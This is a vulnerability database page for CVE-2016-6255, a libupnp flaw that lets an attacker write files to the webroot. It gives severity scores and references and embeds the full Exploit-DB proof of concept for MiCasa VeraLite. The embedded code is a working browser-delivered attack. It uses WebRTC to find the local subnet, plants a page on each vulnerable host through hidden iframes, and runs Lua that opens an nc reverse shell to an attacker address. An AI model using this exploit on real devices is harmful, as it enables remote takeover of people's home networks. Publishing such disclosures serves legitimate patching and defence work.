CVE-2016-6255 : Detail

CVE-2016-6255

7.5
/
High
A01-Broken Access Control
56.73%V4
Network
2017-03-07
15h00 +00:00
2017-11-02
08h57 +00:00
CVE.org
NVD
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CVE Descriptions

Portable UPnP SDK (aka libupnp) before 1.6.21 allows remote attackers to write to arbitrary files in the webroot via a POST request without a registered handler.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-284 Improper Access Control
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 5 AV:N/AC:L/Au:N/C:N/I:P/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 40589

Publication date : 2016-10-19 22h00 +00:00
Author : Jacob Baines
EDB Verified : No

# Exploit Title: MiCasa VeraLite Remote Code Execution # Date: 10-20-2016 # Software Link: http://getvera.com/controllers/veralite/ # Exploit Author: Jacob Baines # Contact: https://twitter.com/Junior_Baines # CVE: CVE-2013-4863 & CVE-2016-6255 # Platform: Hardware 1. Description A remote attacker can execute code on the MiCasa VeraLite if someone on the same LAN as the VeraLite visits a crafted webpage. 2. Proof of Concept <!-- @about This file, when loaded in a browser, will attempt to get a reverse shell on a VeraLite device on the client's network. This is achieved with the following steps: 1. Acquire the client's internal IP address using webrtc. We then assume the client is operating on a \24 network. 2. POST :49451/z3n.html to every address on the subnet. This leverages two things we know to be true about VeraLite: - there should be a UPnP HTTP server on 49451 - VeraLite uses a libupnp vulnerable to CVE-2016-6255. 3. Attempt to load :49451/z3n.html in an iframe. This will exist if step 2 successfully created the file via CVE-2016-6255 4. z3n.html will allow us to bypass same origin policy and it will make a POST request that executes RunLau. This also leverages information we know to be true about Veralite: - the control URL for HomeAutomationGateway is /upnp/control/hag - no auth required 5. Our RunLua code executes a reverse shell to 192.168.217:1270. @note This code doesn't run fast in Firefox. This appears to largely be a performance issue associated with attaching a lot of iframes to a page. Give the shell popping a couple of minutes. In Chrome, it runs pretty fast but might exhaust socket usage. @citations - WebRTC IP leak: https://github.com/diafygi/webrtc-ips - Orignal RunLua Disclosure: https://media.blackhat.com/us-13/US-13-Crowley-Home-Invasion-2-0-WP.pdf - CVE-2016-6255: http://seclists.org/oss-sec/2016/q3/102 --> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <script> /** * POSTS a page to ip:49451/z3n.html. If the target is a vulnerable * libupnp then the page will be written. Once the request has * completed, we attempt to load it in an iframe in order to bypass * same origin policy. If the page is loaded into the iframe then * it will make a soap action request with the action RunLua. The * Lua code will execute a reverse shell. * @param ip the ip address to request to * @param frame_id the id of the iframe to create */ function create_page(ip, frame_id) { payload = "<!DOCTYPE html>\n" + "<html>\n" + "<head>\n" + "<title>Try To See It Once My Way</title>\n" + "<script>\n" + "function exec_lua() {\n" + "soap_request = \"<s:Envelope s:encodingStyle=\\\"http://schemas.xmlsoap.org/soap/encoding/\\\" xmlns:s=\\\"http://schemas.xmlsoap.org/soap/envelope/\\\">\";\n" + "soap_request += \"<s:Body>\";\n" + "soap_request += \"<u:RunLua xmlns:u=\\\"urn:schemas-micasaverde-org:service:HomeAutomationGateway:1\\\">\";\n" + "soap_request += \"<Code>os.execute("/bin/sh -c &apos;(mkfifo /tmp/a; cat /tmp/a | /bin/sh -i 2>&1 | nc 192.168.1.217 1270 > /tmp/a)&&apos;")</Code>\";\n" + "soap_request += \"</u:RunLua>\";\n" + "soap_request += \"</s:Body>\";\n" + "soap_request += \"</s:Envelope>\";\n" + "xhttp = new XMLHttpRequest();\n" + "xhttp.open(\"POST\", \"upnp/control/hag\", true);\n" + "xhttp.setRequestHeader(\"MIME-Version\", \"1.0\");\n" + "xhttp.setRequestHeader(\"Content-type\", \"text/xml;charset=\\\"utf-8\\\"\");\n" + "xhttp.setRequestHeader(\"Soapaction\", \"\\\"urn:schemas-micasaverde-org:service:HomeAutomationGateway:1#RunLua\\\"\");\n" + "xhttp.send(soap_request);\n" + "}\n" + "</scr\ipt>\n" + "</head>\n" + "<body onload=\"exec_lua()\">\n" + "Zen?\n" + "</body>\n" + "</html>"; var xhttp = new XMLHttpRequest(); xhttp.open("POST", "http://" + ip + ":49451/z3n.html", true); xhttp.timeout = 1000; xhttp.onreadystatechange = function() { if (xhttp.readyState == XMLHttpRequest.DONE) { new_iframe = document.createElement('iframe'); new_iframe.setAttribute("src", "http://" + ip + ":49451/z3n.html"); new_iframe.setAttribute("id", frame_id); new_iframe.setAttribute("style", "width:0; height:0; border:0; border:none"); document.body.appendChild(new_iframe); } }; xhttp.send(payload); } /** * This function abuses the webrtc internal IP leak. This function * will find the the upper three bytes of network address and simply * assume that the client is on a \24 network. * * Once we have an ip range, we will attempt to create a page on a * vulnerable libupnp server via create_page(). */ function spray_and_pray() { RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; peerConn = new RTCPeerConnection({iceServers:[]}); noop = function() { }; peerConn.createDataChannel(""); peerConn.createOffer(peerConn.setLocalDescription.bind(peerConn), noop); peerConn.onicecandidate = function(ice) { if (!ice || !ice.candidate || !ice.candidate.candidate) { return; } clientNetwork = /([0-9]{1,3}(\.[0-9]{1,3}){2})/.exec(ice.candidate.candidate)[1]; peerConn.onicecandidate = noop; if (clientNetwork && clientNetwork.length > 0) { for (i = 0; i < 255; i++) { create_page(clientNetwork + '.' + i, "page"+i); } } }; } </script> </head> <body onload="spray_and_pray()"> Everything zen. </body> </html> 3. Solution: No solution exists

Products Mentioned

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Configuraton 0

Libupnp_project>>Libupnp >> Version To (including) 1.6.20

References

http://www.openwall.com/lists/oss-security/2016/07/20/5
Tags : mailing-list, x_refsource_MLIST
https://security.gentoo.org/glsa/201701-52
Tags : vendor-advisory, x_refsource_GENTOO
https://www.exploit-db.com/exploits/40589/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.openwall.com/lists/oss-security/2016/07/18/13
Tags : mailing-list, x_refsource_MLIST
http://www.debian.org/security/2016/dsa-3736
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.securityfocus.com/bid/92050
Tags : vdb-entry, x_refsource_BID
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.